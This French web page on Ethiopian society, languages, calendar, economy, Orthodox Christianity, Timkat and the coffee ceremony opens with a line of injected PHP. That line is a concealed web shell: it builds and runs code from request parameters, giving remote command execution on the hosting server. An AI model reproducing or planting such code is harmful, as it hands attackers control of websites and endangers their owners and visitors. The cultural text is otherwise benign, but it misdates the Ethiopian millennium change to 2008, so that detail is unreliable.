if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['68d707b43aa89fa1d7b9dbabe41dcb7a']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Histoire éthiopienne

Histoire éthiopienne

Société

L’Ethiopie est habitée par plus de 80 ethnies parlant 290 langues ou dialectes différents appartenant à deux grandes familles : les langues afro-asiatiques, parlées par plus de 55 millions d’habitants, et les langues nilo-sahariennes, parlées avant tout dans le Sud-Ouest du pays. L’amharique, le tigrinya et l’oromo sont les langues véhiculaires, le guèze est la langue liturgique de l’Eglise éthiopienne orthodoxe. Le tigrinya et l’amharique utilisent le syllabaire guèze, spécifique à l’Ethiopie et l’Erythrée. Quelques personnes parlent encore russe ou italien. De façon stratégique, l’Ethiopie a décidé d’une politique multilinguiste égalitaire, mais l’amharique est la langue de “travail”.
Le calendrier et le décomptage des heures sont différents de nos références occidentales.

- Les Ethiopiens utilisent 12 mois de 30 jours et un treizième de cinq ou six jours suivant les années bissextiles.
- A 1 heure éthiopienne, il est 7 heures du matin ou du soir…
- Le changement de millénaire s’est effectué le 11 septembre 2008 à 6 heures !

Le peuple mursi est un peuple semi-nomade du Sud du pays. C’est l’un des derniers peuples d’Afrique où les femmes portent encore des ornements labiaux et auriculaires en forme de disques plats, d’où leur nom de “femmes à plateau”. Les Mursis vivent dans une région reculée d’Ethiopie. Ils règnent en maîtres et vivent en parfaite symbiose avec l’environnement. Formant un groupe régi par des dogmes séculaires et des rituels ancestraux, ils ont peu d’interactions avec les autres peuples de la région et combattent farouchement, à coup de lances et de kalachnikov (!) le vol de bétail et les razzias de femmes perpétrées par d’autres peuples sur leur territoire.
Les Hamers sont surtout des éleveurs de bovins, le bétail occupe donc une place très importante dans leur culture. Semi-nomades, ils suivent un itinéraire, tracé par leurs ancêtres, avec de nombreux points d’arrêt. Durant leurs longues pauses, si la saison s’y prête, ils se prêtent à l’agriculture, plus particulièrement la culture du sorgo. Ils vivent dans des huttes précaires, qui convient à leurs vies semi-nomades.

Economie

L’économie de l’Ethiopie est très fragile car essentiellement fondée sur l’agriculture. Or le pays a souvent été touché par la sécheresse, des pénuries alimentaires, ainsi que par des conflits politiques qui ont contribué à ralentir son développement économique. Aujourd’hui, malgré certaines améliorations, l’Ethiopie reste parmi les pays les plus pauvres du monde.

L’économie éthiopienne se répartit ainsi :

- L’agriculture est la ressource principale, fournissant 85 % des emplois. Le secteur contribue à environ 45 % du PIB.
- L’industrie en est à sa première phase de développement et représente environ 15 % du PIB. Ce sont principalement des transformations de produits alimentaires, des industries textiles, teintures et vêtements en cuir,
- Le secteur des services est très peu développé. Le tourisme, qui pourrait représenter une ressource très importante pour un pays qui rassemble ainsi nature et culture, est pratiquement inexistant.

L’Ethiopie est une république fédérale parlementaire où le premier ministre est le chef du gouvernement. Le pouvoir exécutif est détenu par le gouvernement ; le pouvoir législatif est partagé entre le gouvernement et le parlement.

La Religion

L’Eglise orthodoxe d’Ethiopie. La chrétienté arrive au IVe siècle par les côtes de la mer Rouge, mais se sépare de Rome en 451, lors du concile de Chalcédoine qui condamna la doctrine monophysite selon laquelle le Christ ne possède qu’une seule nature divine, et affirma ainsi la double nature du Christ, divinité et humanité. A partir de VIIe siècle, la pression des pays voisins musulmans se faisant de plus en plus forte, l’Eglise d’Ethiopie ne reçu plus de patriarche d’Egypte. Il faudra attendre le XVe siècle pour renouer un contact avec l’occident. Ne recevant plus de directives, elle s’est développée selon son propre rythme, en gardant un certain nombre d’archaïsmes qui finalement la sépare très nettement de l’Eglise orthodoxe d’Egypte. L’Eglise d’Ethiopie aura attendu 1951 pour qu’un patriarche éthiopien soit nommé ; elle se sépara totalement de l’église copte en 1971. C’est cet isolement qui rend cette religion d’autant plus intéressante, avec ses rites particuliers, ses pèlerinages (Timkat, Meskal…), et sa ferveur toujours présente. L’islam devenu première religion, est un islam sunnite. Il existe aussi un grand nombre de croyances fédérées sous le terme d’animisme, et bien présentes dans toutes les campagnes d’Ethiopie.

Le Timkat, la plus belle fête du calendrier religieux éthiopien, qui commémore le baptême du Christ, est célébré en janvier. Le 18 janvier au crépuscule, les tabots (répliques de l’arche d’alliance) sont portés en procession à travers toute la ville vers un endroit où est placé un bassin rempli d’eau. Les diacres, vêtus d’étoffes précieuses, et les prêtres, portant des croix de procession dorées et des ombrelles multicolores, sont suivis par la foule, accompagnés du son de trompettes et du cliquetis des sistres.
A Addis Abeba, les 44 tabots sont réunis sur la place Jan Meda. A Lalibela, les 11 tabots sortent des 11 églises rupestre. A Gondar, la procession rejoint le grand bain de Fasilidas, patrimoine mondial, vestige d’un palais ancien.
A deux heures du matin, une messe est célébrée, les foyers et les torches des pèlerins illuminant le ciel. A l’aube, un prêtre baigne une croix d’or et éteint dans l’eau bénite une bougie sacrée, puis l’assemblée est aspergée en commémoration du baptême du Christ.

La cérémonie du café

A l’instar du thé des pays musulmans, cette boisson, appelée Buna, fait partie depuis des siècles du quotidien des Ethiopiens. Ce serait des marchands arabes qui au XIIIe siècle, transportèrent pour la première fois du café provenant de la province de Kaffa jusqu’au Yémen. Aujourd’hui, la culture du café éthiopien est, avec le coton, devenue l’une des principales sources de revenus de ce pays. Autrefois, ces grains de café, étaient dégustés comme légumes, friandises salées ou sucrées, ou encore mêlés à du beurre pour en faire des galettes, en infusion de grains broyés sous forme de pulpe séchée, ou encore comme médicament. Chaque village possède au moins une Buna Bet (une maison du café) où l’on peut déguster cette boisson nationale dans les règles de l’art. Le Buna est le symbole de l’hospitalité, et est dégusté en famille, ou en l’honneur d’un hôte. Aussi, chaque invité doit, selon la tradition, accepter les trois tasses offertes, sous peine de malédiction !
Soyez confiants, vous n’avez jamais goûté quelque chose de semblable… Ne soyez pas surpris si vous voyez la maîtresse de maison arroser légèrement le sol de quelques gouttes de café, ce n’est pas pour gaspiller ce précieux breuvage mais pour remercier les esprits du sol…